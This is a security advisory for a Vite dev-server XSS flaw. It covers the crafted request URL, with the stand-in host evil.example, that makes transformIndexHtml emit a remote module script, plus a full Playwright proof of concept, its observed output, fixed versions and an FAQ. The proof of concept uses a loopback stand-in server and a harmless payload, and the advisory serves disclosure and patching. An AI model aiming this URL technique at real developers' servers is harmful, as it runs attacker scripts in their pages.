GHSA-9jrq-w75r-8gcw: XSS
Summary
When accessing a malicious site while a dev server using Vite is running, that site was able to load scripts in a page served by the dev server.
Impact
Only apps that match the following conditions are affected:
- the dev server passes an unchanged browser request URL to server.transformIndexHtml: this is normally used for server.middlewareMode: true or appType: 'custom'. The internal call for appType: 'spa' and appType: 'mpa' does not match this. - the transformed HTML contains an inline module script - from the script in the page served by the dev server, the app stores sensitive values in the location accessible or allows critical actions
Details
Vite's SSR guide for 8.2.1 documents the affected setup. The application embeds Vite in middleware mode, reads trusted HTML, and passes the browser's unchanged request URL to the transform:
js const url = req.originalUrl template = await vite.transformIndexHtml(url, template)
For a development server at http://localhost:5173, an attacker can send this URL:
text http://localhost:5173//evil.example/payload.js?/../../package.json
In Vite 8.2.1, createDevHtmlTransformFn and getHtmlFilename in indexHtml.ts use the request URL as both the transform path and the input to path.join. The value passed to path.join still includes its query text.
Chromium preserves /../../package.json because it follows ? and is therefore query text. Vite treats the same characters as filesystem path components, so the .. components resolve the derived filename to the existing project package.json.
The existing file branch in indexHtml.ts checks that filename with fs.existsSync, then preserves the htmlPath supplied by the attacker as proxyModuleUrl. The inline module rewrite in the same file writes that value into the generated src:
html <script type="module" src="//evil.example/payload.js?/../../package.json?html-proxy&index=0.js"></script>
The generated value is a valid URL. Its leading // tells the browser to request the module from evil.example using the Vite page's scheme. The attacker returns JavaScript for that request, and Chromium executes it in the Vite page.
PoC
js import { createServer as createHttpServer } from 'node:http' import { createRequire } from 'node:module' import { dirname, join } from 'node:path' import { fileURLToPath, pathToFileURL } from 'node:url'
const directory = dirname(fileURLToPath(import.meta.url)) const require = createRequire(join(directory, 'package.json')) const { chromium } = require('playwright-chromium') const viteModule = await import( pathToFileURL(require.resolve('vite')).href ) const createViteServer = viteModule.createServer ?? viteModule.default.createServer
// This loopback server stands in for a separately hosted attacker website. const attackerPort = 4173 const exploitPath = //127.0.0.1:${attackerPort}/payload.js?/../../package.json const html = '<script type="module">document.body.textContent = "Vite app"</script>'
const listen = (server, port = 0) => new Promise((resolve, reject) => { server.once('error', reject) server.listen(port, '127.0.0.1', () => { server.off('error', reject) resolve(server.address().port) }) })
const close = (server) => new Promise((resolve, reject) => { server.close((error) => (error ? reject(error) : resolve())) })
let attackerRequest = null const attacker = createHttpServer((request, response) => { attackerRequest = request.url response.writeHead(200, { 'access-control-allow-origin': '', 'content-type': 'text/javascript', }) response.end( "document.documentElement.dataset.viteXssPoc = 'executed'", ) })
const vite = await createViteServer({ appType: 'custom', configFile: false, root: directory, server: { hmr: false, middlewareMode: true, watch: null, }, })
const application = createHttpServer((request, response) => { vite.middlewares(request, response, async (error) => { if (error) { response.destroy(error) return }
try { const transformed = await vite.transformIndexHtml(request.url, html) response.writeHead(200, { 'content-type': 'text/html' }) response.end(transformed) } catch (transformError) { response.destroy(transformError) } }) })
await listen(attacker, attackerPort) const applicationPort = await listen(application) const browser = await chromium.launch({ headless: true })
try { const page = await browser.newPage() await page.goto(http://127.0.0.1:${applicationPort}${exploitPath}) await page.waitForFunction( () => document.documentElement.dataset.viteXssPoc === 'executed', )
console.log(attacker request: ${attackerRequest}) console.log('JavaScript from the attacker server executed in the Vite page') } finally { await browser.close() await close(application) await vite.close() await close(attacker) }
Observed output on Vite 8.2.1: text attacker request: /payload.js?/../../package.json?html-proxy&index=0.js JavaScript from the attacker server executed in the Vite page
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/vite-plusto a version that resolves this vulnerability.Fixed in 1.1.0 - Upgrade
Upgrade
npm/viteto a version that resolves this vulnerability.Fixed in 6.4.4 - Upgrade
Upgrade
npm/viteto a version that resolves this vulnerability.Fixed in 7.3.7 - Upgrade
Upgrade
npm/viteto a version that resolves this vulnerability.Fixed in 8.1.6 - Upgrade
Upgrade
npm/viteto a version that resolves this vulnerability.Fixed in 8.2.4 - Upgrade
Upgrade
npm/viteto a version that resolves this vulnerability.Fixed in 8.3.3
Event History
Frequently Asked Questions
Which Vite development-server deployments are affected?
Affected deployments embed Vite in middleware mode or otherwise use appType: 'custom' and pass the browser's unchanged request URL to server.transformIndexHtml. The internal transform calls used by appType: 'spa' and appType: 'mpa' do not match the affected pattern.
What additional application conditions make this exploitable?
The transformed HTML must contain an inline module script. Code running from that script must also be able to access sensitive values through location or perform critical actions.
What access does an attacker need?
An attacker needs a victim to access a malicious site while the affected development server is running. The advisory example uses a crafted URL targeting a development server at localhost:5173.
How can I identify an affected implementation?
Review code that calls vite.transformIndexHtml and determine whether it supplies req.originalUrl or another unchanged browser-controlled request URL. The documented affected setup assigns req.originalUrl to url and passes url to vite.transformIndexHtml.